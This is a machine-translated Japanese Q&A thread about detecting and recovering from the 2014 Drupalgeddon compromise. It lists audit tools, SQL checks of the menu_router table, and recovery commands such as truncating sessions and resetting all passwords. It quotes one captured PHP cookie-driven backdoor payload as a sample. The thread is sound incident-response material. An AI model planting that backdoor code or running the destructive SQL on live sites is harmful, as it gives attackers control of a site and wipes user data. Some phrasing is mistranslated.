Drupal SA-CORE-2014-005-サーバー/サイトが侵害されたかどうかを確認する方法

Drupal SA-CORE-2014-005エクスプロイトを解決するパッチ方式を使用して、すべてのサイトを更新しました。私は昨日、ロシアのIPからdrupalサイトに侵入している人がいるという報告を読みました。

https://www.drupal.org/SA-CORE-2014-005

私の主な関心事は次のとおりです。

• サイトが構成されているかどうかを確認するにはどうすればよいですか？
• 私のサイトが被害者であったかどうかを検出するには、Apacheアクセスログで何を検索する必要がありますか？
• これまでのところ、これらのハッカーは構成サイトに対して何をしているのでしょうか？

以下は、管理者権限を持つユーザーと、10月15日以降にサイトにアクセスしたユーザーを確認するためにサイトDBに対して実行できるSQLクエリです。

http://www.drupalden.co.uk/sql-queries-find-users-roles-admin-privileges-drupalgeddon-drupal-sa-core-2014-005

この記事を読んで、エクスプロイトが上陸してから1か月以上たってDrupal 7サイトをチェックしたい場合、サイトはすでにハッキングされている可能性が高いです。最善の策は、攻撃が開始される前からバックアップを復元し、そこから作業することです。

SA-CORE-2014-005に関するFAQがあります。

サイトが危険にさらされているかどうかを確認するにはどうすればよいですか？

サイトが侵害されているかどうかをすばやく確認する1つの方法は、Drupalgeddon drushコマンドを使用することです。

• https://www.drupal.org/project/drupalgeddon

あなたにインストールする~/.drushとdrush dl drupalgeddon

その後drush drupalgeddon-test、テストに使用します。Drushエイリアスは、これを簡単かつ迅速にします。

このツールは、悪用されたサイトを確認できますが、サイトが悪用されなかったことを保証することはできません。攻撃が始まる前にアップグレードしない限り、ここには「正常な健康状態」はありません。

サイト監査モジュールには、Drupalgeddonからのチェックの一部が含まれており、はるかに有用な入力も提供します。強くお勧めします。（編集：今、彼らは一緒に動作します-超いい！）

• http://drupal.org/project/site_audit

セキュリティレビューは、Drupalgeddon攻撃をチェックしませんが、ツールベルトに含める価値があります。

• http://drupal.org/project/security_review

サイトのコードベースがwwwユーザーに書き込み可能な場合、ハッキングされたモジュールを使用して、変更されたコードをさらに確認できます。このモジュールは、名前だけに基づいてあなたが考えることをしないかもしれません:)

• http://drupal.org/project/hacked

侵害されたサイトをすべて特定する特定の方法はありませんが、これらのツールは最も一般的な兆候を特定するのに役立ちます。

私のサイトが被害者であったかどうかを検出するには、Apacheアクセスログで何を検索する必要がありますか？

アクセスログには、これまでに多くのPOSTリクエストが含まれます。バグの前にすべての投稿データをログに記録するという異常な手順を踏んでいない限り、これらのうちどれが悪意があるかを知るための情報を得ることはほとんどありません。

これまで、これらのハッカーは侵害されたサイトに対して何をしていましたか？

多くの人が、彼らのサイトがハッカーによって修正されていると報告しています！攻撃者としては、これは理にかなっています-新たにハイジャックされたサイトが、次の攻撃者によってあなたの下からむち打ちされるのは望ましくありません:)

それ以外に、サイトはそこにある貴重なデータを収集するために使用されていると思います（おそらく、いくつかの信用を取得し、悪用後に取引の詳細を持ち上げる可能性があります）。そして、攻撃者のハイジャックされたDrupalサイトの帝国をさらに拡大します。（申し訳ありませんが、観察するためのハッキングされたサイトはありません。）

一般的な攻撃のチェックには次のものがあります（これは完全なリストではありませんが、これまでに見られた攻撃の一部です）。

• ユーザー1アカウントをチェックして、ユーザー名、メールアドレス、またはパスワードが期待どおりであることを確認します。また、可能であれば、高レベルのアクセス許可を持つ他のユーザーアカウントも確認します。
• 疑わしいと思われる新しいユーザーアカウントを確認します。
• システム上の役割に対する変更（たとえば、新しい役割や名前が変更された役割など）を確認します。
• 権限の変更を確認してください。これの最も重要な側面は、匿名ユーザーロール（または誰でもサインアップして取得できる他のロール）が変更されていないことを確認することです。
• 悪意のあるコードを含む可能性のある新しいカスタムブロックを確認してください。
• 悪意のあるコードを含む可能性のある新しいカスタムノードを確認します。
• ファイルシステム上にあるべきではないファイルを確認します。バージョン管理を使用すると、git statusまたはsvn stを実行して新しいファイルがあるかどうかを確認できるため、これは簡単です。
• 悪意のあるファイルをアップロードしている場合は、アクセスログで、なじみのない奇妙なファイル名へのヒットを確認できます。

• 悪意のあるエントリがないか、メニュールーターデータベーステーブルを確認してください。たとえば（drupal.orgのdrupalgeddonモジュール/ drushプラグインには、このテーブルをより徹底的にチェックするための優れたスクリプトがあります）：

  SELECT * FROM menu_router WHERE access_callback = 'file_put_contents';

• また、メニュールーターテーブルを参照して、見苦しいエントリを探すこともできます。

ハッカーがやろうとしていることは次のとおりです。

• phpスクリプトファイルをサイトに配置し、ブラウザで実行して実行できるようにします。これらのスクリプトは、さまざまな悪意のあることを実行できます。これは、悪意のあるメニュールーターエントリを追加することで実現されます。
• 管理ユーザーアカウントを作成して、サイトに悪いことをしたり、サイトを乗っ取ったりするために使用します。
• ユーザー1のメールアドレスを変更して、そのアカウントのパスワードをリセットして引き継ぐことができるようにします。
• 一般にアクセス可能なユーザーロールのアクセス許可を変更します。
• ブロック/ノード/などを追加します。悪意のあるコードが含まれている可能性があります。PHPフィルターを有効にしている場合、これはさらに大きな問題です。

残念ながら、攻撃者がデータベースに対してできることは非常に多いため、可能性の完全なリストを提供することは非常に困難です。彼らはあなたのサイトを制御しようとするかもしれませんし、あなたのサイトを壊してデータベースのテーブルやカラムなどを落とすこともできます。

サイト名の変更など、サイトの構成にごくわずかな変更を加えることさえできますが、これは世界の終わりではありませんが、依然として問題があります。

基本的に、SQLコマンドを実行することでデータベースでできることはすべて、攻撃者が理論的に行うことができます。

Chris Burgessの回答に記載されているすべてのモジュールは、これらのことを確認するのに非常に役立ちます。

drupal.orgのアドバイスに沿って進むと思います。「発表後7時間であるUTC 10月15日午後11時までに更新またはパッチを適用しない限り、すべてのDrupal 7 Webサイトが侵害されたという前提で進めてください。」以下のようビーヴァンは、この中で述べてコメント「の更新やパッチ適用Drupalは、攻撃者が更新前のインストールやDrupalのにパッチを適用することをバックドアを固定していません。」

Bevanはまた、感染した可能性があるかどうか、および回復および防止する方法を分析するのに役立つ次のワークフローチャートを作成しました。ただし、元の記事にアクセスして、ワークフローの最新バージョンがあることを確認してください。また、Acquia はAcquia Cloudで経験した攻撃とパターンに関する興味深い記事を作成します

引用元：https : //www.drupal.org/node/2357241#comment-9258955

これは、menu_routerテーブルのaccess_callback列に挿入されるファイルの例です。

a:2:{i:0;s:22:"modules/image/vzoh.php";i:1;s:147:"<?php $form1=@$_COOKIE["Kcqf3"]; if ($form1){ $opt=$form1(@$_COOKIE["Kcqf2"]); $au=$form1(@$_COOKIE["Kcqf1"]); $opt("/292/e",$au,292); } phpinfo();";}

ご覧のとおり、modules / image / vzoh.phpファイルを作成しようとしていますが、これらのディレクトリ内で読み取り権限しか持っていないため、phpは失敗します。

drupalディレクトリで検索を行って作成された同様のファイルを見つける人々のレポート：https : //www.drupal.org/node/2357241#comment-9260017

私がやったのは、次のコマンドを実行することでした：

ack --type = php 'php \ $ form'> hacked_searched_php_form1.txt

==================

引用元：http : //www.paulbooker.co.uk/drupal-developer/command-lines/5-commands-help-drupalgeddon

ライブサーバー上で変更されたファイルの表示：git status

menu_routerを介したコード実行の試行を探します：access_callback = 'file_put_contents'のmenu_routerから*を選択します

どのファイルがバージョン管理ではなくライブサーバー上にあるかを示す：diff -r docroot repo | grep docroot | grep 'docrootのみ'

filesディレクトリでPHPファイルを見つける：find。-path "* php"

ユーザーがサイトにログインしてから最新のページにアクセスするまでの時間を確認する：select（s.timestamp-u.login）/ 60/60/24 AS days_since_login、u.uid from sessions s inner join users u on s.uid = u.uid;

妥協したかどうかを伝えるための非常に良いコマンドのリスト。

http://www.paulbooker.co.uk/drupal-developer/command-lines/5-commands-help-drupalgeddon

Commands that help with auditing:

Showing files that have changed on the live server:

?
1
git status 
Looking for code execution attempts via menu_router:

?
1
select * from menu_router where access_callback = 'file_put_contents'
Another possible code execution attempt via menu_router:

?
1
select * from menu_router where access_callback = 'assert';
Showing which files are on the live server and not in version control:

?
1
diff -r docroot repo | grep 'Only in docroot'
Looking for PHP files in the files directory:

?
1
find . -path "*php"
Looking for additional roles and users:

?
1
2
select * from role
select * from users_roles where rid=123
Checking the amount of time between when a user logged into your site and their most recent page visit:

?
1
select (s.timestamp - u.login) / 60 / 60 / 24 AS days_since_login, u.uid from sessions s inner join users u on s.uid = u.uid;


Commands that can help with recovery:

Apply the patch. Hotfix: (SA-CORE-2014-005)

?
1
curl https://www.drupal.org/files/issues/SA-CORE-2014-005-D7.patch | patch -p1
End active sessions, i.e log everyone out.

?
1
truncate table sessions;
Updating passwords:

?
1
update users set pass = concat('XYZ', sha(concat(pass, md5(rand()))));

次のオンラインツールを使用して、ウェブサイトがハッキングされているかどうかを確認できます。

Drupalチェック：EngineHack

明らかに制限がありますが、良い出発点です。